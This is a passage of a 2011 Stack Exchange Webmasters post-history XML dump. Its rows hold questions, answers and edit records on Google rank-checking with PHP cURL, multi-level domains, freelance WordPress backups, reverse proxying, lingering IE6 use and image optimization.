doesnt't return anything (it waits for the timeout first). However, when I ran my script on another server, it worked perfectly on both of &quot;google.com&quot; and &quot;google.pl&quot; domains. Do you have an idea why can something like this happen? Is there a possibility that my server was banned from querying the &quot;google.pl&quot; domain?&#xD;&#xA;&#xD;&#xA;Here, my cURL code:&#xD;&#xA;&#xD;&#xA;    private function cURL($url)&#xD;&#xA;	{&#xD;&#xA;		$ch = curl_init($url);&#xD;&#xA;		curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);&#xD;&#xA;		curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,5);&#xD;&#xA;		return curl_exec($ch);&#xD;&#xA;		curl_close($ch);  &#xD;&#xA;	}" />
  <row Id="45569" PostHistoryTypeId="1" PostId="18690" RevisionGUID="e88a4966-8b38-4d28-b978-33fbf4cbbc56" CreationDate="2011-08-24T13:29:23.210" UserId="9772" Text="&quot;Check position in Google&quot; script works with &quot;google.com&quot; but not &quot;google.pl&quot; - is my server banned?" />
  <row Id="45570" PostHistoryTypeId="3" PostId="18690" RevisionGUID="e88a4966-8b38-4d28-b978-33fbf4cbbc56" CreationDate="2011-08-24T13:29:23.210" UserId="9772" Text="&lt;google&gt;&lt;php&gt;&lt;google-search&gt;" />
  <row Id="45571" PostHistoryTypeId="14" PostId="18690" RevisionGUID="4d39f825-0cfe-4ccc-8757-e8d7844d4cff" CreationDate="2011-08-24T13:32:04.750" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="45572" PostHistoryTypeId="17" PostId="18690" RevisionGUID="f9f6a11f-e3b5-4ff8-85c0-e4eaefc86cba" CreationDate="2011-08-24T13:32:04.763" UserId="1253" Comment="to http://stackoverflow.com/questions/7176281/check-position-in-google-script-works-with-google-com-but-not-google-pl-i" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45573" PostHistoryTypeId="10" PostId="18690" RevisionGUID="5cbc53dc-ce16-412b-a994-4081caef165d" CreationDate="2011-08-24T13:32:03.533" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45574" PostHistoryTypeId="17" PostId="18691" RevisionGUID="a0e1ba2d-f960-4039-91a2-caafb0f31d2b" CreationDate="2011-08-24T14:45:39.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/103344/is-it-correct-to-have-domains-with-more-than-3-levels" Text="" />
  <row Id="45575" PostHistoryTypeId="17" PostId="18692" RevisionGUID="066b90d2-be51-40fe-ab3d-a8a65f329549" CreationDate="2011-08-24T14:45:39.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/103344/is-it-correct-to-have-domains-with-more-than-3-levels" Text="" />
  <row Id="45576" PostHistoryTypeId="17" PostId="18693" RevisionGUID="e788e4bf-e607-4b2d-9b31-d592fe38d08c" CreationDate="2011-08-24T14:45:39.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/103344/is-it-correct-to-have-domains-with-more-than-3-levels" Text="" />
  <row Id="45577" PostHistoryTypeId="17" PostId="18694" RevisionGUID="d0cea112-4baa-4b20-a6c6-1b729da33c59" CreationDate="2011-08-24T14:45:39.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/103344/is-it-correct-to-have-domains-with-more-than-3-levels" Text="" />
  <row Id="45578" PostHistoryTypeId="2" PostId="18692" RevisionGUID="e149d371-9f5d-4b1a-92a6-4954a77135db" CreationDate="2011-08-24T14:19:17.950" UserId="9777" UserDisplayName="perdian" Text="I don't necessarily agree that a domain *always* has to be short. It depends a lot of how it is used. Let's say you're an agency having to show multiple projects to multiple customers, but not all these customers actually do have domains of their own, so something like `supercooldemo.customer.com` will not always be possible.&#xD;&#xA;&#xD;&#xA;So, you'll probably end up with something like this:&#xD;&#xA;&#xD;&#xA;    demos.agencysite.com/customer/supercoolproject/index.html&#xD;&#xA;&#xD;&#xA;This isn't all that differed from &#xD;&#xA;&#xD;&#xA;    supercoolproject.demos.customer.agencysite.com/index.html&#xD;&#xA;&#xD;&#xA;I'm not a systems export and don't know what kind of configuration efforts are required to manage different subdomains, but from a user point of view I don't think there is much different in defining a path in a &quot;real&quot; path or doing so using domains." />
  <row Id="45579" PostHistoryTypeId="2" PostId="18693" RevisionGUID="f549745a-a9d2-48b1-a4bd-3e8bf0e16bf2" CreationDate="2011-08-24T14:20:05.830" UserDisplayName="Blrfl" Text="There's no technical reason that a fully-qualified domain name has to be any number of parts, nor are there any rules about it.  (RFC 1035 does specify that a single FQDN can't be any longer than 255 characters, but I've never seen anyone go that long for anything other than a gag.)  If you're having difficulties resolving long names, consult with whoever provides your DNS.&#xD;&#xA;&#xD;&#xA;Any arguments for or against are entirely aesthetic.&#xD;&#xA;" />
  <row Id="45580" PostHistoryTypeId="2" PostId="18694" RevisionGUID="4ce2d548-1636-4506-9384-2cf34fe0f715" CreationDate="2011-08-24T14:22:19.427" UserId="1265" Text="There's nothing explicitly wrong with it. It's just a domain. It's as cumbersome as you choose to make it. Some legitimate concerns, however, would revolve around the testing of security and certificates, etc.&#xD;&#xA;&#xD;&#xA;Since certificates are based on the TLD, it would be impossble to run tests against any web service that sits behind an SSL layer.&#xD;&#xA;&#xD;&#xA;Similarly, cookies are also domain driven so it would be difficult to perform testing on cross domain applications unless there were explicit controls placed on the naming scheme. It isn't impossible, but it does become harder to manage." />
  <row Id="45581" PostHistoryTypeId="2" PostId="18691" RevisionGUID="e486b355-31d8-417d-843e-79ac7d3a3d2e" CreationDate="2011-08-24T14:11:24.127" UserId="8691" Text="I've been arguing for some time about this topic, now I'd like the opinion of professionals.&#xD;&#xA;&#xD;&#xA;My point is that a domain should be made of 2 or 3 levels at most, like:&#xD;&#xA;&#xD;&#xA;- mysite.com&#xD;&#xA;- blog.mysite.com&#xD;&#xA;&#xD;&#xA;And I sustain that the &quot;www&quot; third level is useless and should be &quot;optional&quot; meaning that if you type www.mysite.com it will silently redirect to mysite.com, but that's not the focus of this topic.&#xD;&#xA;&#xD;&#xA;What is really troubling me is the fact that sometimes I have to work with domains 5 levels long for testing purposes, like this:&#xD;&#xA;&#xD;&#xA;- www.customersite.com.webagency-test.com&#xD;&#xA;&#xD;&#xA;instead of a more natural and meaningful&#xD;&#xA;&#xD;&#xA;- test.customersite.com&#xD;&#xA;&#xD;&#xA;Other than the uglyness, I have troubles making those kind of host names work. Sometimes in IIS7 they would simply not work, as if the host header wasn't even configured.&#xD;&#xA;&#xD;&#xA;I think that those kind of 5 level host headers are also violating some rule, or standard, or best practice, although I'd like more information about this.&#xD;&#xA;&#xD;&#xA;So, my dear experts, is this wrong as I think, or it's just &quot;horrible but not wrong per se&quot;, or something else?" />
  <row Id="45582" PostHistoryTypeId="1" PostId="18691" RevisionGUID="e486b355-31d8-417d-843e-79ac7d3a3d2e" CreationDate="2011-08-24T14:11:24.127" UserId="8691" Text="Is it correct to have domains with more than 3 levels?" />
  <row Id="45583" PostHistoryTypeId="3" PostId="18691" RevisionGUID="e486b355-31d8-417d-843e-79ac7d3a3d2e" CreationDate="2011-08-24T14:11:24.127" UserId="8691" Text="&lt;websites&gt;" />
  <row Id="45584" PostHistoryTypeId="2" PostId="18695" RevisionGUID="60a039ba-e72a-4d6f-8db0-cc4f08c57b66" CreationDate="2011-08-24T14:46:10.410" UserId="8022" Text="How to manage backups when developing websites as freelance?&#xD;&#xA;&#xD;&#xA;- I have my clients purchase web hosting space from a provider of their choice.&#xD;&#xA;- I develop the website and upload it to their hosting space.&#xD;&#xA;- Provide option of extended technical support.&#xD;&#xA;&#xD;&#xA;How do freelancers usually manage backups and WordPress upgrades?" />
  <row Id="45585" PostHistoryTypeId="1" PostId="18695" RevisionGUID="60a039ba-e72a-4d6f-8db0-cc4f08c57b66" CreationDate="2011-08-24T14:46:10.410" UserId="8022" Text="Freelance website development and backups" />
  <row Id="45586" PostHistoryTypeId="3" PostId="18695" RevisionGUID="60a039ba-e72a-4d6f-8db0-cc4f08c57b66" CreationDate="2011-08-24T14:46:10.410" UserId="8022" Text="&lt;wordpress&gt;&lt;backups&gt;" />
  <row Id="45587" PostHistoryTypeId="2" PostId="18696" RevisionGUID="9ccd14f4-afe5-45ca-b580-0b4e1e6ee1ec" CreationDate="2011-08-24T14:54:09.843" UserId="8009" Text="It depends on the nature of the site. If it's a static site you've developed for a client, you will (well, you should...) always have a copy on your machine which will be a perfectly good backup (it's static...). If it's a dynamic site, you may want to recommend a hosting provider to your clients that will take care of auto-backups or look at scheduling a backup to your own system.&#xD;&#xA;&#xD;&#xA;Should your clients want Wordpress upgrades it's simply a case of backing up the site in any way you see fit (see above...) and having access to the admin backend of Wordpress, or FTP access if necessary." />
  <row Id="45588" PostHistoryTypeId="2" PostId="18697" RevisionGUID="87822fe2-b74c-438f-8800-e98d525c95c5" CreationDate="2011-08-24T14:54:35.567" UserId="1253" Text="WordPress upgrades are easy to do as WordPress has a built in upgrade mechanism that makes upgrading very easy to do. Just click on the &quot;updates&quot; link at the top of the menu. It's that easy. With the exception of customized themes you don't need to worry about keeping hard copies of the files that make WordPress go because you can always grab the latest copy from the WordPress website.&#xD;&#xA;&#xD;&#xA;Backing up the database is easy if you install a plugin designed to do that for you. [WordPress Database Backup][1] can automate the process for you. Then in the event of a database failure you can use your back up to restore it to its previous state.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://austinmatzko.com/wordpress-plugins/wp-db-backup/" />
  <row Id="45589" PostHistoryTypeId="5" PostId="18695" RevisionGUID="7579514d-e13a-41d6-8e40-e068b0862216" CreationDate="2011-08-24T15:14:36.237" UserId="8022" Comment="added 613 characters in body" Text="How to manage backups when developing websites as freelance?&#xD;&#xA;&#xD;&#xA;- I have my clients purchase web hosting space from a provider of their choice.&#xD;&#xA;- I develop the website and upload it to their hosting space.&#xD;&#xA;- Provide option of extended technical support.&#xD;&#xA;&#xD;&#xA;**ADDED:**&#xD;&#xA;&#xD;&#xA;The websites tend to be dynamic with various data stored into the database.&#xD;&#xA;&#xD;&#xA;I am unable to routinely backup the dynamic sites because a) it is too time consuming and b) too costly for my clients. Ideally I need to offload that liability because if a server fails (or provider ceases to exist) and backups are also lost, how are my clients going to recover?&#xD;&#xA;&#xD;&#xA;Should my clients be downloading backups and storing them in a safe place?&#xD;&#xA;&#xD;&#xA;Likewise upgrading WordPress releases occasionally introduce breaking changes that require plugins to be updated. What is the best practice for charging for WordPress upgrades?&#xD;&#xA;&#xD;&#xA;What do other freelancers tend to do?" />
  <row Id="45590" PostHistoryTypeId="2" PostId="18698" RevisionGUID="f6265742-2fb3-4a77-9e4b-093692f6a95b" CreationDate="2011-08-24T15:17:59.057" UserId="9778" Text="Let's say I have a simple html page with some text and the text&#xD;&#xA;&#xD;&#xA;    foo is a single word whereas foo bar are two words&#xD;&#xA;&#xD;&#xA;somewhere in it.&#xD;&#xA;&#xD;&#xA;Is it possible to prevent search engines from finding the page when searching for `foo bar` (without double quotes surrounding it)? Searching for `foo` should find the page though.&#xD;&#xA;&#xD;&#xA;Is this possible somehow? Be it meta tag or something on the server side?" />
  <row Id="45591" PostHistoryTypeId="1" PostId="18698" RevisionGUID="f6265742-2fb3-4a77-9e4b-093692f6a95b" CreationDate="2011-08-24T15:17:59.057" UserId="9778" Text="Is it possible to have a stop word list for distinct html pages?" />
  <row Id="45592" PostHistoryTypeId="3" PostId="18698" RevisionGUID="f6265742-2fb3-4a77-9e4b-093692f6a95b" CreationDate="2011-08-24T15:17:59.057" UserId="9778" Text="&lt;google&gt;&lt;search-engines&gt;" />
  <row Id="45593" PostHistoryTypeId="2" PostId="18699" RevisionGUID="a2c23baa-1b46-4920-b5dc-2f383f715922" CreationDate="2011-08-24T15:25:20.767" UserId="1253" Text="Why would you want to do that? Wouldn't you want to rank well for every phrase possible if they pertain to your web pages? You do know that a page can rank well for more then one keyword, right?&#xD;&#xA;&#xD;&#xA;You cannot tell search engines what words you want to rank well for and which ones to ignore. They will rank pages for whatever keywords they find to be relevant for that page. You can guide them towards ranking a page better for some keywords then others by use of semantic markup and linking but that's about it." />
  <row Id="45597" PostHistoryTypeId="17" PostId="18701" RevisionGUID="ecaf8901-1263-4679-aebc-42eb31aa7e16" CreationDate="2011-08-24T15:29:29.303" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/102199/soft-links-over-the-web" Text="" />
  <row Id="45598" PostHistoryTypeId="17" PostId="18702" RevisionGUID="8f1a0c42-6622-4e71-a01e-696a33a1f071" CreationDate="2011-08-24T15:29:29.303" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/102199/soft-links-over-the-web" Text="" />
  <row Id="45599" PostHistoryTypeId="17" PostId="18703" RevisionGUID="80560203-d0a8-4465-8e9c-8024564d6157" CreationDate="2011-08-24T15:29:29.303" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/102199/soft-links-over-the-web" Text="" />
  <row Id="45600" PostHistoryTypeId="2" PostId="18702" RevisionGUID="187db2a1-3194-4622-983c-1db71a58bd4f" CreationDate="2011-08-23T22:44:45.083" UserId="9796" UserDisplayName="JB King" Text="[Load Balancing and Clustering][1] notes in part:&#xD;&#xA;&#xD;&#xA;&gt; With a simple LOAD BALANCING scheme, you can split your traffic down&#xD;&#xA;&gt; by URL or subdirectory, so that (for example) all traffic for /course&#xD;&#xA;&gt; goes to one server, and all traffic for /horse goes to another, with&#xD;&#xA;&gt; the front end machine acting simply as a router, forwarding requests&#xD;&#xA;&gt; via mod_proxy (if it's running Apache httpd) or similar.&#xD;&#xA;&#xD;&#xA;Or does this not cover the case you are describing?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wellho.net/solutions/general-load-balancing-and-clustering.html" />
  <row Id="45601" PostHistoryTypeId="2" PostId="18703" RevisionGUID="838093ae-55a4-4bae-b3b7-0d5380142bce" CreationDate="2011-08-23T23:47:17.307" UserId="6540" Text="You can achieve the desired behaviour by using a [forward proxy][1]. It has nothing to do with programming.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Proxy_server#Forward_proxies" />
  <row Id="45602" PostHistoryTypeId="2" PostId="18701" RevisionGUID="1ff42ade-2e01-4e0d-b6ee-011fc4c6b65c" CreationDate="2011-08-18T20:56:13.350" UserId="9791" UserDisplayName="yati sagade" Text="Take this scenario. There is a server(say, A) at www.mysite.com .Now, there's a dynamic number of servers A knows about (knows the IP-adresses to).&#xD;&#xA;&#xD;&#xA;The problem is, if a user arrives at http://www.mysite.com/B, we need to redirect him to the server that the URI B will map to( assume that there exists a mapping from such URLs to the list of known servers, and that 'B' is valid here). Is there a way of doing this without redirection? (First deployment will be n GAE, so this redirection is not possible). What I want is the browser showing http://www.mysite.com/B, but rendering content as delivered by the server running on B. &#xD;&#xA;&#xD;&#xA;I think that this _may_ be possible, as, multiple webservers are indeed used within the same domain today.&#xD;&#xA;&#xD;&#xA;Please tell me if I was not clear, and I'll try to explain myself.&#xD;&#xA;&#xD;&#xA;thanks, &#xD;&#xA;&#xD;&#xA;Yati" />
  <row Id="45603" PostHistoryTypeId="1" PostId="18701" RevisionGUID="1ff42ade-2e01-4e0d-b6ee-011fc4c6b65c" CreationDate="2011-08-18T20:56:13.350" UserId="9791" UserDisplayName="yati sagade" Text="Soft links over the Web?" />
  <row Id="45604" PostHistoryTypeId="3" PostId="18701" RevisionGUID="1ff42ade-2e01-4e0d-b6ee-011fc4c6b65c" CreationDate="2011-08-18T20:56:13.350" UserId="9791" UserDisplayName="yati sagade" Text="&lt;web-development&gt;&lt;networking&gt;" />
  <row Id="45605" PostHistoryTypeId="5" PostId="18701" RevisionGUID="3c840d8c-07dd-4874-b841-ff7a853f8fc4" CreationDate="2011-08-24T15:34:37.623" UserId="1253" Comment="minor text edits" Text="Take this scenario. There is a server(say, A) at www.mysite.com .Now, there's a dynamic number of servers A knows about (knows the IP-adresses to).&#xD;&#xA;&#xD;&#xA;The problem is, if a user arrives at http://www.mysite.com/B, we need to redirect him to the server that the URI B will map to( assume that there exists a mapping from such URLs to the list of known servers, and that 'B' is valid here). Is there a way of doing this without redirection? (First deployment will be n GAE, so this redirection is not possible). What I want is the browser showing http://www.mysite.com/B, but rendering content as delivered by the server running on B. &#xD;&#xA;&#xD;&#xA;I think that this _may_ be possible, as, multiple webservers are indeed used within the same domain today.&#xD;&#xA;" />
  <row Id="45606" PostHistoryTypeId="2" PostId="18704" RevisionGUID="6e479f30-c540-4f8b-969c-08285b7d3298" CreationDate="2011-08-24T15:35:05.657" UserId="4768" Text="Is there a way to fetch the first image source from google search if I have a search term?&#xD;&#xA;&#xD;&#xA;For example if input is `tomato`, ouput would be `http://www.cksinfo.com/clipart/food/fruits/tomatoes/tomato.png`&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="45607" PostHistoryTypeId="1" PostId="18704" RevisionGUID="6e479f30-c540-4f8b-969c-08285b7d3298" CreationDate="2011-08-24T15:35:05.657" UserId="4768" Text="Return first image source from google images" />
  <row Id="45608" PostHistoryTypeId="3" PostId="18704" RevisionGUID="6e479f30-c540-4f8b-969c-08285b7d3298" CreationDate="2011-08-24T15:35:05.657" UserId="4768" Text="&lt;google&gt;&lt;image&gt;" />
  <row Id="45609" PostHistoryTypeId="25" PostId="18691" RevisionGUID="b6b257ca-d2a5-4322-b135-5c6f9c851460" CreationDate="2011-08-24T15:35:13.883" Comment="http://twitter.com/#!/StackWebmasters/status/106389104647880705" />
  <row Id="45610" PostHistoryTypeId="2" PostId="18705" RevisionGUID="267bc03f-5329-43f5-8eea-12468ab4e469" CreationDate="2011-08-24T15:42:06.370" UserId="1253" Text="You can use the [Google Image Search API][1] to do this. Unfortunately it has been depracated so you may find the number of queries per day you can make to be limited. I am unsure if there is a new API to replace it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/imagesearch/" />
  <row Id="45611" PostHistoryTypeId="2" PostId="18706" RevisionGUID="bbde13a9-8838-4c1e-ae66-106c47efa39d" CreationDate="2011-08-24T15:55:28.573" UserId="9782" Text="I've not seen this answer, so what about piracy?&#xD;&#xA;&#xD;&#xA;I'd guess that a lot of people use IE6 or older versions of IE because they have pirated systems and they can't do software updates on them." />
  <row Id="45612" PostHistoryTypeId="17" PostId="18707" RevisionGUID="8fbdda7f-18f4-4772-96dd-346e4d3d508e" CreationDate="2011-08-24T16:35:14.280" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18388/google-analytics-goals-numbers-seem-inflated" Text="" />
  <row Id="45613" PostHistoryTypeId="2" PostId="18707" RevisionGUID="704ce3de-e072-4c37-a92b-b6970edc5d75" CreationDate="2011-08-24T13:55:06.477" UserId="1835" Text="When I look at the Google Analytics goal report for yesterday, it shows that I had 3,000 conversions for a given goal - 74% completed, and 6% abandoned.&#xD;&#xA;&#xD;&#xA; - Where is the missing 20%?&#xD;&#xA; - My numbers show more like 500 conversions for this goal. Why are Google's numbers so different? " />
  <row Id="45614" PostHistoryTypeId="1" PostId="18707" RevisionGUID="704ce3de-e072-4c37-a92b-b6970edc5d75" CreationDate="2011-08-24T13:55:06.477" UserId="1835" Text="Google Analytics &quot;Goals&quot; .. numbers seem inflated?" />
  <row Id="45615" PostHistoryTypeId="3" PostId="18707" RevisionGUID="704ce3de-e072-4c37-a92b-b6970edc5d75" CreationDate="2011-08-24T13:55:06.477" UserId="1835" Text="&lt;google-analytics&gt;" />
  <row Id="45616" PostHistoryTypeId="2" PostId="18708" RevisionGUID="7834ad34-ba50-43d9-ad34-b208bec53932" CreationDate="2011-08-24T17:28:05.290" UserId="9785" Text="My favorite is that [any site] only works in IE6 ... that might have been the case when IE6 was new but most of the time I assume these people are afraid of change so they hold tight to what they are used to regardless of how much rich cont" />
  <row Id="45617" PostHistoryTypeId="5" PostId="18688" RevisionGUID="33296524-5cbd-43c5-9379-35d639a0f454" CreationDate="2011-08-24T17:39:09.467" UserId="108" Comment="added 505 characters in body" Text="There are actually a number of reasons.  Most of them are related to corporations and I think looking at the difference in visitor browsers for corp websites vs personal sites (e.g. amazon.com, zappos.com, etc)&#xD;&#xA;&#xD;&#xA; 1. Large and Medium size Corporations use software that requires a specific browser, usually IE6.  Because of this, they create a software constraint on all of their systems and do not allow others to upgrade.&#xD;&#xA; 2. Large and Medium size Corps refuse to upgrade a browser until they have fully tested the browser with all software that is required in their company.  For huge companies it can takes years to get approval for a new browser.  This also has a side effect in that browsers than constantly update, like Chrome will never be chosen as the defacto browser for these companies.  Firefox is also now choosing to go down this path which means they will most likely be shunned by many large companies&#xD;&#xA; 3. Some people and corps use horribly old computers.  For instance, what is the newest browser that runs on Windows NT and Windows 2000?  Not many people continue to use those OS's but they are still out there in the wild.  For instance, the company I work for has over 25 PCs still running Windows 2000.&#xD;&#xA; 4. Some poorer regions and countries are behind the technology curve and their citizens still get online.  For instance, according to http://gs.statcounter.com Asia has an IE6 usage rate of almost 8% which is double the global average.  Africa's is around 6%.&#xD;&#xA; 5. Another piece that ties into #4 is what Nikko suggested as another culprit, Piracy. I have heard that China's high IE6 usage numbers comes from many people in the country purchasing cracked versions of Windows.  Microsoft has done a good job making it tougher to do this with their new OS versions but older versions are obviously still out there for sale.  The large drop in usage may just be a sign that all of the new useful features are finally catching on and nudging people to spend the money.&#xD;&#xA;&#xD;&#xA;With all of this in mind I think it is changing.  IE6 is almost dead at under 4% usage globally ([gs.statcounter][1]) and a much lower usage rate in English speaking countries (I bring that up only because many of us build websites only in English).  Of note is that with the introduction of HTML5, all browser developers are pushing out a number of new versions to push people into using HTML5 capable browser or not be supported.&#xD;&#xA;&#xD;&#xA;Also, one interesting side note is that with the focus of Google and Mozilla on quickly and continuously upgrading browser versions, Microsoft has been given a marketing segment they are already taking advantage of, selling to people and corps who don't want to or can't change quickly.  The GE's of the world don't want to test a new browser every 3 months so they will most likely drop Firefox support and move back to IE where they know a new version will only come out every 2-3 years and they will only be forced to upgrade every 2-3 versions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://gs.statcounter.com/#browser_version-ww-monthly-201007-201107" />
  <row Id="45618" PostHistoryTypeId="5" PostId="18687" RevisionGUID="62e1c06c-142c-4668-abcc-e4b82ef286c3" CreationDate="2011-08-24T17:41:33.953" UserId="9781" Comment="Grammar course adjustment. Had to edit more characters (that's a stupid rule, by the way). So I added some URLs for kicks." Text="Any web designer/developer will know that we have to make our code backwards-compatible with a number of (much) older browsers, just to cater for those that haven't updated. My question is.. why don't people update? Most new browsers will run on a wide variety of systems and it's not like they aren't advertised - I've seen numerous prompts on my travels around the web to [install chrome][1] [or the latest Firefox][2] and [what not][3]. &#xD;&#xA;&#xD;&#xA;So what excuses do people have for sticking with IE6 or older equivilents?&#xD;&#xA;&#xD;&#xA;Personally, I'm phasing out support for older browsers on a number of my sites - 'old-browser' visitors are sparse and I see it as a 'nudge' to join 2011...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://google.com/chrome&#xD;&#xA;  [2]: http://www.mozilla.com/en-US/firefox/new/&#xD;&#xA;  [3]: http://www.opera.com/" />
  <row Id="45619" PostHistoryTypeId="24" PostId="18687" RevisionGUID="62e1c06c-142c-4668-abcc-e4b82ef286c3" CreationDate="2011-08-24T17:41:33.953" Comment="Proposed by 9781 approved by -1 edit id of 500" />
  <row Id="45620" PostHistoryTypeId="5" PostId="18687" RevisionGUID="deee3c6d-50f7-4b17-9b8b-89dd44dcb41c" CreationDate="2011-08-24T17:41:34.080" UserId="108" Comment="Grammar course adjustment. Had to edit more characters (that's a stupid rule, by the way). So I added some URLs for kicks." Text="Any web designer/developer will know that we have to make our code backwards-compatible with a number of (much) older browsers, just to cater for those that haven't updated. My question is.. why don't people update? Most new browsers will run on a wide variety of systems and it's not like they aren't advertised - I've seen numerous prompts on my travels around the web to install chrome or the latest Firefox and what not. &#xD;&#xA;&#xD;&#xA;So what excuses do people have for sticking with IE6 or older equivilents?&#xD;&#xA;&#xD;&#xA;Personally, I'm phasing out support for older browsers on a number of my sites - 'old-browser' visitors are sparse and I see it as a 'nudge' to join 2011..." />
  <row Id="45625" PostHistoryTypeId="2" PostId="18709" RevisionGUID="d708bc30-9b69-46d0-8f51-b481924dff55" CreationDate="2011-08-24T17:43:14.517" UserId="9786" Text="localhost (your machine) for starter is good idea, all you need static ip.&#xD;&#xA;once you finished you app go straight to aws.amazon.com" />
  <row Id="45626" PostHistoryTypeId="5" PostId="18678" RevisionGUID="3bf987cb-99dc-472d-b87c-063d2d54e62e" CreationDate="2011-08-24T17:51:16.263" UserId="1253" Comment="modified tags, minor text edits" Text="I am learning to program facebook app and so I am looking for some free/trial/paid hosting&#xD;&#xA;to host my php and db.  &#xD;&#xA;" />
  <row Id="45627" PostHistoryTypeId="6" PostId="18678" RevisionGUID="3bf987cb-99dc-472d-b87c-063d2d54e62e" CreationDate="2011-08-24T17:51:16.263" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-hosting&gt;&lt;facebook&gt;&lt;looking-for-hosting&gt;" />
  <row Id="45628" PostHistoryTypeId="2" PostId="18710" RevisionGUID="93e36d2a-bbed-4dac-a8f9-c7493ea5b4f3" CreationDate="2011-08-24T17:51:18.230" UserId="9539" Text="I use a CMS and do not have server side access so I cannot set expiry for images but was told it helps to optimize my images and improve my site speed.  My question is what exactly does it mean to use image optimization? And how?&#xD;&#xA;&#xD;&#xA;Note: I use photoshop for majority of my image editing. " />
  <row Id="45629" PostHistoryTypeId="1" PostId="18710" RevisionGUID="93e36d2a-bbed-4dac-a8f9-c7493ea5b4f3" CreationDate="2011-08-24T17:51:18.230" UserId="9539" Text="Image Optimization for my site" />
  <row Id="45630" PostHistoryTypeId="3" PostId="18710" RevisionGUID="93e36d2a-bbed-4dac-a8f9-c7493ea5b4f3" CreationDate="2011-08-24T17:51:18.230" UserId="9539" Text="&lt;images&gt;&lt;optimization&gt;&lt;photoshop&gt;" />
  <row Id="45631" PostHistoryTypeId="2" PostId="18711" RevisionGUID="7566ce68-68e3-47fc-9b40-efca7577a1a9" CreationDate="2011-08-24T18:09:02.883" UserId="9032" Text="I believe it means that you should take a special attention to the weight and format of your image. You should compress image as much as possible but also taking car of not loosing too much quality. For picture, jpg is the recommended format. For other image you should use png.&#xD;&#xA;&#xD;&#xA;You should take a look on this website that automatically optimize your image from a link:&#xD;&#xA;http://sitereportcard.com/imagereducer.php" />
  <row Id="45632" PostHistoryTypeId="2" PostId="18712" RevisionGUID="b3c92905-70ea-44da-9530-7f174956663e" CreationDate="2011-08-24T18:11:46.110" UserId="1253" Text="If you don't have access to the server you won't be able to control caching. That is probably the most important aspect of optimizing the loading time of images and just leaves you with making sure your images are as small as they can be while still looking good. &#xD;&#xA;&#xD;&#xA;The key to this is choosing the right format for your images and then using the proper compression for them. Each format has its [strengths and weaknesses][1]. Generally speaking JPEGs are good for photographs and PNGs are preferred over GIFs as they offer better compression especially if you use tools like [PNGCrush][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webopedia.com/DidYouKnow/internet/2002/jpg_gif_png.asp&#xD;&#xA;  [2]: http://pmt.sourceforge.net/pngcrush/" />
  <row Id="45633" PostHistoryTypeId="2" PostId="18713" RevisionGUID="75022397-41cf-4f71-bd53-6bba40e6f238" CreationDate="2011-08-24T18:21:13.283" UserId="4502" Text="&gt; I use a CMS and do not have server side access so I cannot set expiry for images&#xD;&#xA;&#xD;&#xA;Not necessarily true. Some apps provide ways to edit htaccess without file access, eg. &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-htaccess-editor/&quot;&gt;WP Htaccess Editor&lt;/a&gt; for WordPress. You should look around at your options, if using some other system." />
  <row Id="45634" PostHistoryTypeId="2" PostId="18714" RevisionGUID="5ec34e52-92f7-4cab-b59f-cc7b905fa028" CreationDate="2011-08-24T18:29:28.447" UserId="5498" Text="I think the main reason is that most computer users don't have a clue how to fix their system if it breaks. They've had that experience where installing a new application or performing an update has caused their system to become unusable. Thus, they would prefer not to change anything, as long as it is currently working. Personally, I can't blame them. I've spent countless hours helping friends and family get their systems running again after something caused it to break that shouldn't have.  You have to remember that the overwhelming majority of computer users only use it for email, facebook and web browsing. If what they have works, then they have no desire to change anything." />
  <row Id="45635" PostHistoryTypeId="25" PostId="18710" RevisionGUID="a07f7d29-e2d2-40d0-a442-721103b79db5" CreationDate="2011-08-24T18:35:13.667" Comment="http://twitter.com/#!/StackWebmasters/status/106434403051384832" />
  <row Id="45639" PostHistoryTypeId="5" PostId="18712" RevisionGUID="7c5bae01-b4c1-4c4a-b17e-6f9c458af636" CreationDate="2011-08-24T18:52:36.117" UserId="9539" Comment="Original link gave a 404 error, found the page and corrected the link to work" Text="If you don't have access to the server you won't be able to control caching. That is probably the most important aspect of optimizing the loading time of images and just leaves you with making sure your images are as small as they can be while still looking good. &#xD;&#xA;&#xD;&#xA;The key to this is choosing the right format for your images and then using the proper compression for them. Each format has its [strengths and weaknesses][1]. Generally speaking JPEGs are good for photographs and PNGs are preferred over GIFs as they offer better compression especially if you use tools like [PNGCrush][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webopedia.com/DidYouKnow/Internet/2002/JPG_GIF_PNG.asp&#xD;&#xA;  [2]: http://pmt.sourceforge.net/pngcrush/" />
  <row Id="45640" PostHistoryTypeId="24" PostId="18712" RevisionGUID="7c5bae01-b4c1-4c4a-b17e-6f9c458af636" CreationDate="2011-08-24T18:52:36.117" Comment="Proposed by 9539 approved by 108 edit id of 503" />
